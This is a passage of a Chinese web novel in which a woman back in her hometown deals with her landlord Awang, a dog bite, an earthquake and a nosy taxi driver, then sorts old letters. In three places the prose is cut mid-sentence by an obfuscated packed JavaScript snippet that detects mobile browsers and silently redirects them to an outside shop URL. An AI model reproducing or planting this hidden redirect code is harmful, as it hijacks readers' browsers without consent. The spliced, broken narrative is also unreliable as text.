“不行!我这两天总做噩梦,老是梦到鬼!我害怕!” “男子汉大丈夫,怕鬼?”阿旺说他,“书房你又不是没睡过。” “那不一样!”丁聪聪指出,“以前有爸爸妈妈陪我!” 蔡云深闻言,一下想起许江说之前,书房里住三口人。 这么看来,就是当时正落魄的丁威一家子? “阿旺,你就让聪聪跟你睡吧,”然后听许江说,“妹妹今晚住书房。” “你说蔡云深?”阿旺明显不自然,“她……今晚到吗?” 蔡云深敏感地一僵。 单是听这个人提及她,都感觉很诡异。好像他口中的名字根本不属于她,现在却被她使用着。对此,他很生气。 然而现实中,男人根本没生气。不仅如此,他还抬头看钟。 “都这个点了还在路上?”怎么听都是在关心。 “谁还在路上?” “你女儿啊。” “?她不是在这吗?” 许江说着,奇怪地指自己身旁戴墨镜、抱小狗的人。 整桌人目光骤然集中,看看蔡云深,又看看阿旺,似乎都在期待一场久别重逢。 在众人的注视下,阿旺也看过来。 4. 被狗咬 蔡云深下意识把小虎抱得更紧些。 他在关心她,她却藏在墨镜后畏惧着,仿佛这个坐她对面的人是凶神,是恶鬼,是她必须逃避的存在。 但现在,她逃不掉了。 好像被什么压迫,促使蔡云深不得不抬手,再不自然、结结巴巴,也要朝男人主动打招呼: “你好,阿旺……哥?” 幸好,跟她的过度反应不同,阿旺只是回了声你好就算,继续埋头吃苦瓜。 重逢大戏就此落空,蔡云深却大大松一口气,心想接下来,她要加快进食速度,但求早点离场。 然而,福娃没给她这个机会。 福娃去上了个厕所。出来就被他发现,客厅那边的狗窝里居然拴着一只没见过的新狗—— “这谁的小狗呀?”看到露娜,福娃眼睛都不转,径直朝客厅去。 “你云深姐的!”许江在这边隔空答。 蔡云深注意力全放阿旺身上,便忽略了远处的福娃。等他抱着露娜来餐厅时,她才惊觉大事不好,忙让福娃赶紧把狗放下,有危险。 福娃却笑嘻嘻,说哪里危险了?这么乖的狗。又问它叫什么? 蔡云深还没答,许江先抢白,说它有个洋名字,叫露娜,不咬人。但是不喜欢被陌生人抱,会呲牙。 “可它对我很好诶,”福娃说着把脸亲昵地凑向小狗,“对吧,露娜?” 再看露娜,仿佛听懂了一般跟福娃贴脸,甚至朝他撒娇。 见此情景,爱狗人士二号不请自来: “让我也抱抱。”阿旺说。 接过露娜后,喝了点白酒就满脸通红的阿旺也像福娃那样,对着小狗就把脸凑过去。 然而接下来,露娜的眼神变了。 关于福娃的传说是真的。他的好运buff在动物面前同样通行,但仅限于他自己。 对这一点,蔡云深的认识太不充足,不然不会经历接下来的流血事件: 被阿旺抱着的露娜不仅恢复了戒备,反应还比平时更夸张。出声示威无效之后,在慌乱中,露娜朝着男人靠过来的侧脸一口咬下去。 “天啦,出血了!” “不是说这狗不咬人吗?” “完了完了,狂犬病要死人的!阿旺要死啦!” …… 现场瞬间混乱,饭都顾不上吃。蔡云深的内心也跟着崩塌: 从不咬人的露娜竟然咬人了,咬的还是一个单是看都叫她害怕的家伙。 生怕男人会暴躁地发飙,蔡云深先道歉。许江也立刻提出让她陪阿旺去打狂犬疫苗。 肇事狗是她的,这提议理所应当。但平时最乐于助人的蔡云深却鲜有地内心抵触: 她不想跟这个人单独去。 然而,她还没发言,阿旺先喊他不去,说他不打针。 “为什么不打?你疯啦?” 阿旺面不改色地胡扯:“我今年打过啊。” “什么时候的事?”人家问他。 “……就年初,小虎咬了我。” 大伙纷纷摇头,当场拆穿这谎话:“小虎老狗一条,牙都掉光了,咬你?” “哎呀没事!现在宠物狗都打过疫苗,咬一下又不会死,”阿旺说着继续找借口,“再说我都喝酒了,开不了夜车。” 蔡云深想她也开不了夜车:因为眼睛还没恢复。但是,这是问题吗? 果然,广大群众的脑子跟她一样清楚: “你俩打车去啊!” 阿旺还想拒绝,在旁看热闹的丁聪聪以牙还牙,说他: “男子汉大丈夫,怕打针?” “谁怕了?” “那你为什么不敢去?” 阿旺眉头大皱。 丁聪聪更开心,转头冲蔡云深:“阿姨,你和阿旺叔叔去打针,把我也带上好不好?” “你去凑什么热闹?”许江说他,“过来,到许爷爷这来!” 蔡云深却一把拉过男孩,像抓住救命稻草: “他想去,就让他去嘛!” …… 于是,几分钟后,他们一个戴墨镜的女人,一个被狗咬破脸的男人,和一个脸上挂彩的小孩,在一轮满月下齐齐挤进网约车。 * 丁聪聪非要来,是为了看阿旺出丑。令他大失所望的是,之前还在为不打针乱找借口的男人居然根本不怕疼,波澜不惊地就接受了注射。 期待落空,走出医院时,小男孩满脸扫兴。 至于带他来的一对大人,更是闷葫芦两个。此刻一前一后走他附近。 蔡云深独自掉着尾。 来的时候,长得一脸凶相的阿旺根本没找她这个狗主人理论,全程都安安静静,像滩死水。打针也没声音,只有医生一直念,说真险啊,再往上一点就会咬到眼睛。幸好现在只是破相,希望以后别留疤吧。 本来一席话就把蔡云深听得不好意思,这医生又一直折腾阿旺: 小狗给他添的原本只是一处小伤,医生却在上药前要求他反复冲洗。伤口因此被撕扯大,横在阿旺颧骨上。 因为这处伤,蔡云深对阿旺的歉疚直往上冒,惧意也被冲淡。 再看此刻的走在前面的男人: 他今天摔过跤,脚还跛着。现在又被狗咬了,真倒霉。 行至路灯下,一束光下来,形单影只的倒霉蛋更显落魄。 蔡云深一下想起那句名台词—— “他好像一条狗啊。” 是啊,像狗。一条被拔了利齿、走了很多路的落水狗,因为疲惫而麻木。自身都难保了,哪有力气去伤害别人,什么凶狠,可怕,危险……好像都跟他没关系。一切不过是她自己意识过剩—— 被害妄想症。 凡事不能只看外表: 干净的卫生间,装满书的书房,和老旧的黑胶唱片才是这个人的本质。 话虽如此,蔡云深依然没办法放下防备。 因为她的本能总是很准确。 上一次对陌生人产生类似的警戒感,是在滨城的最后几天。当时她已经离职有一段时间,为了交接最后去一趟公司。 离开公司时,在一楼大厅,蔡云深看见了自己的前男友兼同事,赵宇。他在那等客户,没有发现她。 躲着赵宇出大厦,蔡云深推开玻璃门,随即就注意到不远处蹲在路边的人。 那个人一眼看过去,也是极其落魄的。在看到他那一瞬间,蔡云深的本能就拉响警报。 可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059638|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,即便感受到危险,当时的她还是没有选择退回门内躲避,因为赵宇。 硬着头皮出门,才走几步,那个陌生男人就追上来。 听到身后越来越近的脚步声,蔡云深敏锐地回头,却已经晚了—— 男人面目狰狞,拉住她喊话。之后愤怒地扬手,狠狠扇了她一耳光。 被突然施暴,蔡云深开始耳鸣。随后她想这是怎么回事?她从不知道自己跟谁结过仇。 难道是新闻里那种无差别杀人?下一秒,他会不会突然拿出刀来疯狂地捅她? 幸而刀是没有的,但男人继续打她。最后是公司保安及时过来制服了对方,事情才没恶化。 后来回想,那应该是一个精神不正常的人。如果那天不去公司,就不会在那个时间从一楼出来,不会被陌生人扇巴掌,更不会狼狈地捡散落满地的文件。 在终于捡好、准备离开的时候,蔡云深发现赵宇竟然站在玻璃门那头。 他看着她,神色复杂。 一记巴掌,这就是她学习、生活、拼搏了十年的滨城留给她的最后印象: 莫名其妙地被打,然后玻璃门的另一侧,她的前任在看。 …… 分着心,一头撞上前面突然停步的阿旺。 蔡云深抬头,这才发现同行的男人和男孩之所以停下,是为了看一棵死掉的树。 昨天的暴雨来势汹汹,路边这棵倒下的大树便是证据。树干被风暴拦腰折断,枝叶落了一地。此刻正在被人清理,打扫它的落叶,拉走它的尸体。 蔡云深看着树,想起在滨城挨的那一巴掌,又想起自己那辆被撞出窟窿的二手车—— 都是迎面痛击、直劈灵魂。 感慨地伫在原地,连阿旺和丁聪聪走远了都不知道。就是这时,地面突然震荡起来。 脚下有什么怪力在攒聚、爆发,让蔡云深满心茫然,还以为自己又出了幻觉,直到发现地上的树干竟然也在剧烈颤动。 “蔡云深!” 被急切的呼喊拉回神,蔡云深只见几步开外,凶神恶煞的阿旺朝她奔来。 当即就怔住,想接下来,会不会像那天在滨城? 下一秒,男人就会对她露出狰狞的本貌,然后狠狠给她一巴掌。 蔡云深在耳鸣中闭上眼。 然而,事情并没有那样发生。事情是,男人拉过了她。一辆因为地震偏了方向的电动车冲上人行道,从她刚刚站着的位置疾驰而去,最终摔翻在树边。 震动过了一阵才停止。骑车者被附近的工人扶起。蔡云深悬着的心也跟着落地,随后才感觉到痛—— 是阿旺。 他死捉着她的手腕,用仿佛能把骨头扼碎的力气。 死水一般的男人脸上,此刻竟挂着生动的神情,又惊又惧地跟她说些什么,她却一句没听清。 见她不回话,阿旺更担心,问出一个蔡云深后来回想,实在是很古怪的问题—— “你还醒着吗?!” 这一次,耳鸣消失了。 蔡云深心中讶异,还没来得及回话,丁聪聪先在远处大喊,让他们赶紧过去,网约车到了。 片刻犹豫后,男人终究没有放开她的手,就那么拉着她走向车流。 5. 一面墙 回程的司机格外健谈,从打开前座车门时蔡云深就发现。 副驾堆了个行李箱,人坐不进去。司机解释他顺路接了个闪送,又快嘴快舌附加一大段说明。 “你也坐后面吧。”最后他对蔡云深说。 后座的两个此刻刚坐定:丁聪聪坐里侧,阿旺在这边。 宁愿绕道也想去路中间开门,司机看出来连忙制止她: “那边车门打不开!” 于是,上了车。坐男人旁边。 这么热的天,司机居然省冷气。好在立秋后的江安再热,到了夜晚也有一丝风。 在夜风里,身上的燥热渐渐平息。但脸依然发烫,真想跟身边人拉开距离。 不想靠近他,空间却只有这么大。车一转弯,她更是斜向正中—— 再不想靠近,也靠近。 蔡云深拘谨地坐回原位。 虽然拘谨,但不得不说跟晚饭上初见相比,蔡云深对阿旺已经不那么怕。促成这一点的原因很多,最重要的还是她这恐惧其实找不到源头,讲不出道理,就没有立足点。 这时,窗外一阵强光闪过,照亮他们后排并坐的三个人: 一个眼乌青,一个脸破相,一个因为打架挂了彩…… 如果把她的墨镜和丁聪聪的创可贴都拿掉,那他们便能事无巨细地呈现出三种惨状—— 真是,世界名画。 正出神,热情的司机开始搭腔。一会儿说刚才地震了,你们知道吗?一会儿感叹天地悠悠、人世无常。问他们做什么的,在哪儿上班,好不好赚钱…… 问题越问越私隐。最后,家里蹲阿旺和小朋友丁聪聪都无力招架,只剩社会人蔡云深来去自如,独自有一句没一句应付着他。 终于,司机觉得我们聊了这么久也算熟了,跟蔡云深坦白,说其实有个问题从他们上车,他就想问。 “问啊。”社会人不怕提问。 司机赶紧开口:“什么事儿上医院啊?” 蔡云深指阿旺:“他的脸被狗咬了。” 司机却来一句:“真是狗咬的?” 不然呢?还能是你咬的? 忍着没回怼,司机却仿佛看破一切:“其实,看你俩那不乐意坐一块儿的样,大哥我就啥都明白了。”他胸有成竹—— “两口子打架了,是吧?” 两口子?谁跟谁? 不等她否认,司机自顾自继续:“现在的小年轻也真是,吵架就吵架,非要动手是何必?就说小妹你,大晚上还戴副墨镜,总不是用来遮阳的?”司机跟她分析得条条是道,“他打你不对,但你下口也不轻啊,把人咬进医院。” 蔡云深还没反应过来自己被人当了狗,小孩心性的丁聪聪先破功,“噗”地轻笑出声。 “而且你说你们夫妻之间闹矛盾,打儿子干嘛呢?”听到丁聪聪发声,司机又有话说,语重心长,“孩子能有什么错?你看他,多懂事儿,这么晚了还陪着父母出来上医院,你说是吧?” “不是。”蔡云深斩钉截铁。 “可不……嗯?你说不是?” 蔡云深:“对呀,不是。我跟这男的不是两口子,这小孩也不是我儿子,他们的伤跟我没关系;我戴墨镜也不是因为我被打了,而是因为前两天,我去割了眼袋。” “割……什么?” “就是整容,整容你知道吧?” “整容?”司机说她,“干嘛花钱去挨那个刀子?” “因为我开心啊?”蔡云深化身杠精,内耗一点都算她输,“我还嫌不能多挨几刀呢,想做全脸,是那个医生有钱不赚,说他们小地方不接大手术。还说我想法有问题,明明整个脸上最大的缺点是眼袋。也对,我这半年来睡眠是真的糟,因为遇人不淑。” 字里行间都透点疯劲,一般人听到这早换话题。今日却棋逢对手—— “所以我才说女人不能管钱,”司机得出的结论居然是,“小妹啊,你一个成家的人了,怎么尽把钱花在那种没用的地方?多败家?不为老公想,也该为孩子想想啊?” “我自己挣钱花我自己身上,败谁家了?”蔡云深反驳,“而且都说了我没老公、没孩子,只有过一个跟屎没区别的前男友!” 人生中偶尔会遇到这样的人,无论你跟他说什么,他都只能接受他想相信的。 即便你才是事件亲历者,他依然觉得你说的不保真。 眼下这位司机大哥就是,不知道为什么,今天晚上,他就认定了蔡云深跟阿旺是两口子、在闹脾气。听了那么一通,他居然透过后视镜同情地看阿旺: “被说成前男友也就算了……说是屎过分了吧……”又劝蔡云深,“男人在外,你得给他留面子。两个人在一起不容易,有什么不能好商量的?” 许是不久前才勾起在滨城的糟糕回忆,又许是跟赵宇分手至今,蔡云深的满腔窝火一直无从发泄。对着眼前不小心撞上枪口的陌生人,她没有丝毫犹豫,立刻发动自杀式袭击: “我前男友背着我跟公司新来的实习生上床了,这也能商量?” 这句一出,坐她旁边的阿旺赶紧捂丁聪聪的耳朵。对此完全没留意的女人继续扫射: “所以我割了眼袋心情很好,人虽然丑,至少能看着年轻点。我还打算下一个也谈比我小的,最好也是应届大学生,怎么了?” 司机再不答话。 蔡云深在一片死寂中看向窗外。 从滨城离开的原因很多:丢工作,犯旧病…… 被劈腿。 她甚至,原本打算跟赵宇在这个八月结婚的。 所以,就连许江都觉得她会定居滨城。然而她却回来了,一个人,一条狗。 直到现在,爸爸都没能开口问她,那小赵呢? …… 蔡云深不说话,整个网约车便没人敢再开口。 尴尬的沉默就快能杀死人,最终还是阿旺透不过气,试图救场,放下捂耳朵的手对身旁的小男孩没话找话—— “那什么……今天晚上,你还是跟我睡吧。” 丁聪聪乖巧地点点头,随后斜身靠男人身上。 好不容易破了冰,司机大哥却在听完这句后释然一笑,随即再一次从后视镜看向阿旺: “刚才还说不认识,现在就要一起睡?” 不等阿旺解释他到底是要跟谁睡,男人先表态:“弟弟啊!”他训阿旺,“大哥我可真看不起你!本来还想在弟妹面前帮你说几句好的,结果你,做什么不好,偏偏跑去出轨?!要换了是我,非把你整张脸咬下来不可,你老婆下口算轻的,”说着殷勤地朝蔡云深—— “对吧弟妹?” 蔡云深不得不承认自己社会化成功是装的。 “师傅?” “嗯?” “虽然很不好意思,但是能请你闭嘴吗?” …… 几分钟后,目的地到达。蔡云深刚下车,就后悔了。 犯错的不是她,这过往就算被全天下知道,她也坦荡。 但要不要现在说、怎么说,又是另外一码事。 在天心,嚼舌根是项热门运动,不然许江不会叮嘱她,“说事情不能用喊”。 想想晚饭时激情交流的长辈们,以及对准女婿劈腿一无所知的许江,再想想丁聪聪对阿旺的评价—— “大嘴巴”。 蔡云深决定先发制人:“……旺哥。” 阿旺背挺直:“嗯?” 再尴尬也开口:“刚才我在车上说的……就是我前男友出轨那些,你能当做没听到吗?对小区里其他人,还有我爸……还麻烦你保密。”说着点他,“人嘛,谁都会有一些隐私是暂时不想、或者不方便让别人知道的。” 果然,自己也在卫生间里藏着药、在心里藏着事的阿旺听懂了,回答很爽快—— “行。”说完还强调,“你放心。” 大石刚落地一半,就感觉到异样的视线。 蔡云深低头瞪回去:“还有你,小弟弟!”她面若冰霜,直接威胁,“要是敢说出去,我就让全小区的人都叫你‘矮冬瓜’!” 丁聪聪一怔,敢怒不敢言。神情却瞬息万变,怎么看都靠不住。 回家后还在烦恼这码事: 成年人能约定俗成,小孩子可不行。 小时候,厂里有大孩子偷偷抽烟,被她跟另一个小朋友逮到。女孩子年纪小,是非观简单坚定,说什么都要告诉大人。 但是后来却没有。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059639|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那个时候,她们的原则是怎么被击沉的? 哦,对了。 几分钟后,一张百元红钞出现在丁聪聪面前,被他感恩戴德地接过。 背过人将他带进书房的蔡云深抱手:“我的话你记住了?” “记住了!”丁聪聪朝她行军礼,“只要我说出去,这钱立马没收!” “没错。把钱藏好,别被人发现,慢慢花、悄悄花,并且闭上嘴,懂吗?” 丁聪聪点头如捣蒜:“放心蔡阿姨,从现在起我们就是一队的!我绝对不会背叛!”他表决心,“实话告诉你,我最看不起的就是出轨的男人!” 现在小学生懂这么多? 一边惊讶,一边拍拍男孩的头以示信任,说,“那你也帮我盯着点阿旺。他是答应我了,但你知道的,他大嘴巴。” 丁聪聪对此无比认同:“没问题!交给我!” 最后提醒丁聪聪,今晚跟阿旺睡,想保住零花钱,可别被他发现。 丁聪聪记下了。见他目光如炬,蔡云深终于莞尔,同时感叹那个偷着抽烟的大孩子、丁聪聪他爸丁威的办法果然奏效。 这都是因果啊: 当年丁威为了封口请她吃的各种小零嘴,通货膨胀一下,20年后全还给他儿子。 这边搞定,出去跟阿旺和许江一起送客。之后阿旺把善后家务全揽下,让她先去洗澡。 蔡云深抓住这个空当,跑到喝得心情大好的许江面前把墨镜一摘。不等他咆哮出声先解释,是割了眼袋。还海吹说等乌青消了,她会就地年轻十岁。 “什么年轻十岁啊!难不成你还能变身成高中生?” “可不,变身成美少女战士!” 许江还要问罪,蔡云深抛下一句“我先去洗漱!”赶紧溜。 半小时后,沐浴结束的蔡云深上床躺尸。 回故乡的第一天,舟车劳顿、意外丛生。哪怕倒退半日,她也想不到自己今晚会在别人家过夜。 许江已经算很称职的父亲,但是有些事,他终究替代不了蔡美仙,没法跟女儿连体同心、连细处都顾及。 让她跟一个陌生男人合住什么的—— “要是妈妈在,这种事绝不会发生。” 蔡云深抬头看半空,好像蔡美仙就在那。随后又歉疚,恨自己像巨婴。成年那么久了,遇到事的解决办法依然是回老家、靠父辈。因为这怪病,她好像总是无法真正独立。 骂完自己,又跟老妈告状,说你老公太爱喝酒。不仅自己过瘾,还劝小辈喝,不以为耻反以为荣。 “让他少喝点,可我说话他从来不听。你不管他吗?托梦也好呀,说说他。” 高考填志愿那时也是,蔡云深想离开江安去远方看看,许江说什么都不同意。父女争执若干场,谁也说服不了谁,最后还是蔡美仙两边通气、拍板定案,让蔡云深报了滨城的学校。那里有外婆外公小姨在。“至于你爸?我来跟他说!” 这世上的亲子关系好像总是如此,平日里相处得再亲密,爱里多少也带点恨。 只有活在怀念中的人完美无暇—— “你就没有缺点,”蔡云深对空气里的人说,“你看,我和爸爸,总是很需要你。” 倾诉结束,让蔡美仙放心:虽然许江搬家这事做得不靠谱,还好房东人不坏。 “他爱干净,还养狗。他的小狗只有三条腿,叫小虎。我看小虎被照顾得很好,能感觉出来它的主人是爱它的。而且房东,他……” 他看到我有危险时,朝我奔来了。 路见不平,愿意拔刀相助。 不像赵宇。 后面这些没讲,只低声跟妈妈八卦:“他好像不喜欢女人。” 正想象蔡美仙的反应,就听外面一阵脚步声。随后敲门、开门、关门,分明是刚洗完碗回来的阿旺。 进隔壁房间了,男人问:“丁聪聪,你课文背下来了?” “差不多了,”房间里的小男孩答。声音都不大,却听得清清楚楚。 蔡云深一下坐起身。 这房间隔音这么差? 那她刚才那些自言自语,墙那边的人听到没? 做贼心虚,赶紧跪床头耳贴墙,认认真真捕捉起隔壁动静。 6. 杂物间 听了一阵,隔壁两个人根本没谈她的事,而是一个背课文、一个检查—— 背的是苏东坡那篇名冠天下的《水调歌头》。 丁聪聪的“差不多”,还真是差不多: 整首他都基本能记下,就是始终背不出那句“不应有恨,何事长向别时圆”。每次一卡住,就被阿旺要求重来,一次,两次…… 蔡云深离开墙面,躺下来。 第七次。 丁聪聪背出了哭腔。 “哭哭哭,就知道哭!”阿旺终于对得起他凶巴巴的形象,厉声厉气。 “我没哭!”小男孩反驳。 “嗯,你没哭,你现在眼睛里流下来的是汗?” 对小朋友阴阳怪气完,阿旺搬出蔡云深当孩子时从家长那听到耳朵起茧的话—— “哭能帮你背课文?” 看看,当年为了变形金刚就跑去厕所哭不是谁,现在竟开始教训别人? 真是,屠龙者终成恶龙。 相比之下,如今的小朋友就比小时候只会乖乖听训的他们厉害许多: “不能!”只听丁聪聪哭着还嘴,“所以你就直接给我签字让我过嘛!就那么一句不会,我到开学肯定能背!” “我不签!”阿旺拒绝,“你也别找我了,去找你妈背!更要骂你!” “……” “这一句究竟有什么难的?”阿旺问出蔡云深的心声,“整首都背下来了,就差这么一点,万里长征最后一步,你放弃?” 丁聪聪无言,阿旺继续:“再来一次,《水调歌头》!” “……” “快点!” 小男孩委屈至极:“水调歌头,但愿人长久,宋,苏轼。明月几时有,把酒问青天,……” 感情深沉,声线悲恸。 这恐怕是她听过的最惆怅的《水调歌头》了。 很快就又到了卡点。果然又停住。 但这一次有进步,起码是硬凑出了一个句子,就是跟原文有点不一致—— “不应有恨,……何事……月亮……长又圆?” 蔡云深捂嘴,生怕自己的笑声传过去。 “我拜托你啊小祖宗,”墙那边的阿旺果然道心破碎,声声泣血,“你告诉我,月亮要怎么才有能‘长又圆’,啊?都跟你说了,这句话的意思是为什么月亮、总在、离别时变圆!何事、长向、别时圆!” “它圆不圆关我什么事啊?”丁聪聪也破防,“我不背了!不背了!!!” “背!背不下来你今晚别想睡觉!” …… 翌日清晨,蔡云深在一阵奇怪的乐声中醒来。 再一听,伴随音乐的还有浑厚的男声,说什么, “健身气功,八段锦。……” 她怎么又在做这么荒诞的梦? “会不会吵到我女儿?”然后就听到熟悉的声音,分明是许江,“这房子隔音不好。” “不会,小花园离她房间这么远,”这是阿旺,“而且刚才我经过,隔着门都听到她打鼾。睡得像死猪。” 说谁像死猪呢! 男人就像听到她心声:“我说你,眼睛睁开!背打直!” 蔡云深睁眼,才发现阿旺是跟另一位受害者对话: “丁聪聪,是你非要跟我们早起练功的!人都起来了,就好好做!” 老中小三个型号的男人在口令中继续晨练,蔡云深无语地拿过手机—— 妈呀,才六点半。 怨念滔天,又听许江问:“那边停的那辆白车,看到没?” “看到啊,”阿旺答,“就是被陨石砸了那个嘛。” “什么陨石,”许江说他,“那是妹妹的车!她打瞌睡被人撞了都不知道,开回家才发现!” “不是吧?” 许江一声长叹,随后把昨晚临睡前从女儿那听到的说明转述给阿旺,告诉他蔡云深做了多么凶险一个手术—— “这死女娃,眼睛都伤成那样了,还敢一个人开车!我单是想都后怕……”愤慨完,许江叮嘱阿旺,“所以我暂时不许她开车了,你帮我盯着点她。” “行……不过许叔叔,你女儿……”欲言又止。 蔡云深瞬间清醒,心提到嗓子眼: 这大嘴巴,该不会打算在这毁约,跟许江说她被人劈腿的事儿吧? 许江也奇怪阿旺想说什么,忙问:“我女儿怎么了?” “……你女儿,还真是很倒霉。”最后男人只说。 蔡云深舒一口气。但随即她就不服,心想我再倒霉,也轮不到你这个买彩票万年不中、平地摔、还被狗咬的人来盖章。 然而自家老爸却接腔:“可不是吗。” 胳膊肘往外拐。 睡意全枯萎,干脆也起床。第一件事: 做卷腹。 例行锻炼结束,蔡云深换下睡衣、开窗帘。竟被她撞见绝景: 窗外,一轮旭日正在升起。 风景正好,可惜眼前有栋拆了一半的厂房,硬生生挡掉她大半视野。 感觉自己就要消融在万丈霞光中,脑海又响起杂音,那是本能在念叨—— “能看见日出的地方,就能看见月亮。因为太阳和月亮从同一个方向升起。” 谁不知道啊。 “总有你不知道的事。” 比如呢? “等厂房拆完,你就能看到。” ——最后,本能这么告诉她。 * 中午,蔡云深跟午休的许江去杂物间。 杂物间在仪表厂老宿舍区。许江把从城里搬来的部分行李存在这儿,其中有好一部分属于蔡云深。她又用一个上午整理出不太需要的东西,顺手拿过来放。 从远处看,老宿舍这边灰扑扑的。跟“白宫”相对应,厂里的人叫它们—— 灰楼。 灰楼有两栋,每栋五层,全是单间。一条不透光的走廊拉通,两边是相对的门。 明明还在白昼,走进去却一片漆黑。黑暗里,蔡云深仿佛听到有什么在沙沙作响,就算下一步撞到幽灵,她也不会奇怪。 “厕所和厨房是公用的,以前职工宿舍都这样。你小时候我们也住这种。记得吗?”许江问。 蔡云深摇头:“不记得。” 不仅不记得,她甚至想象不出当年他们怎么在这里生活: “厕所是公用的,如果住的房间离它很远怎么办?”蔡云深问,“现在是夏天,还好,要是到了冬天,三更半夜的想尿尿,还要受冻走那么远上厕所?” 许江闻言笑一声,告诉她:“妹妹啊,那个年代,我们每家都备着痰盂。” 在时代变化的冲击中,蔡云深转进楼道。终于有光从网格砖透进来。 楼梯和旁侧的墙都被照亮,蔡云深一边走,一边看上面幼稚的涂鸦—— 什么“龙见到此一游”,张牙舞爪,字可真丑; 什么“太阳(爱心)我,月亮(爱心)我”,人小鬼大,懂个屁的爱; 什么“于岳望是大ben旦。”。 噗。这叫“于岳望”的人也太惨了。但凡有谁从这上楼,都会知道他是笨蛋吧? 而且“笨蛋”两个字,一个没写对。 正好笑,两个小女孩就嬉笑着跑着上楼,撞过蔡云深也不停下,追追打打往二楼跑。 顺着她们的背影看去,蔡云深看见楼道口第二户人家。一扇老旧掉色的木门,总觉得看着很熟悉。 她还觉得,上面应该贴一个福字——或者说,曾经贴过。 “爸,我们以前是不是住2楼?”不禁开口问许江。 是或不是,答案多简单。身旁的许江却硬是一个字也答不出,只是也盯着木门。 “我就知道,”看他那样,蔡云深以为自己猜得没错,“这扇门这个楼道,看着很眼熟!” 许江仍不接话,只埋头上楼。好久了回望,发现蔡云深仍在原地,催她—— “快上来!” * 阿旺的杂物间在四楼。门开后黢黑一片。许江按亮灯,蔡云深才发现这里是有窗的,只是被报纸贴死,光进不来。空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059640|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气中有股陈旧气味,好像进入洞穴。 整个房间还没她现在住的书房大,放了一张写字台,一张上下铺铁架床。全都用来放东西,满满当当塞着各种储物箱、编织袋。 东西多,但不开窗落灰少,比想象中整洁。角落里还停着小朋友骑过的儿童车,用旧的鸿运扇,高压锅,旧电脑,照相机…… 非常普通的单间,却总有什么令蔡云深觉得毛骨悚然。 偏偏这时,许江要去上班了,把门钥匙下剩她一个。 一阵战栗后,蔡云深开始独自整理: 青春期穿的旧衣衫,搬家时明明跟许江说不要了,他还是带过来; 想留下的杂物更是一个不漏:旧书旧报旧音乐,各式奖状、纪念物、周记本…… 连学生时代传过的小纸条和写过的信也还在—— 她上学那时,手机远没现在万能,而且学校禁用。要通讯,全靠手写。 蔡云深充满怀念地看: 上课得多不认真,才能在纸上跟同学玩“太平天国”,下五子棋,甚至交替写故事,一人用红笔一人用蓝笔…… 再就是传纸条。 随手拿起一张,封面两个大字,“明天”,打开后发现里面写: “明天请你吃冰,现在请你原谅。” 要别人原谅什么,不记得了。但那款柠檬冰的样子还记得。不知道现在还有没有的卖? 还有信。有别人寄给她的,也有她写了没寄出去的。写给初中时最好的朋友,一个愿意接近她、跟她建立起友谊的女生。可惜后来进了不同学校。 进高中后,蔡云深又变得形单影只,没事就给对方写信: “最近在音乐盒里,我发现了一个祈愿符。小学时流行的,打开一看,发现里面写着我当时的愿望:能隐形。好笑吧?原来从那时起,我就希望自己变成透明色。在一片安静中,不发出任何声音,活到28岁,然后死掉。……” …… 蔡云深倒吸一口冷气。 对必须看这种无病呻吟、还要给她回信的朋友,她心生敬意。 然后是初中,那年代语文作业要求写周记。翻开来一看标题: 《我的前世》。 什么玩意儿! 扔开看别的,越往下翻,时间越早。 时间来到小学,刚过千禧年。一张照片掉出来,是个不认识的小男孩,笑得一脸阳光。 再看信封,更不明白: 这谁啊,为什么给她写信? 一读内容,才记起那年代还有过笔友这回事。通过杂志交友栏看到对方信息,便写了信去。 人家居然回复她了,跨越整个中国寄信来。 正文就几句,混着拼音,一眼扫到结尾—— “蔡云深,你有一个很美的名字。不知道你是gg还是mm?附上我的照片,期待回信。” 蔡云深羞耻地合上黑历史。 想起来了,人生第一次“见光死”。更确切地说是还没见光她先死: 与其把自己的丑照寄过去,还不如直接消失。 从信纸到网络,从电脑到手机app,这种没有下文、未曾晤面的因缘际会蔡云深还有过不少。又像是某种替代: 或许是因为长相吧,学生时代,她几乎没交到什么朋友。 曾经在女厕所偶然听到班里的女孩子这么议论,说她像外星人,又像空心木偶。猜她是不是经历过什么折磨,才总是一副生机缺缺的样子。 当时蔡云深躲在隔间,心无波澜地听,不觉得自己讨厌,也不觉得别人讨厌。 但她忍不住想,什么程度才算“折磨”? 开心的,痛心的,好像都像河水那般流走。她是河岸上空望的人,没有起伏、故事和过往。 跟现实不同,虚拟世界的交往不需要见面: 在这里,只需要登进去、查记录、输文字,就能维持社交。 因此,在远离现实的地方,她反而获得过友谊。 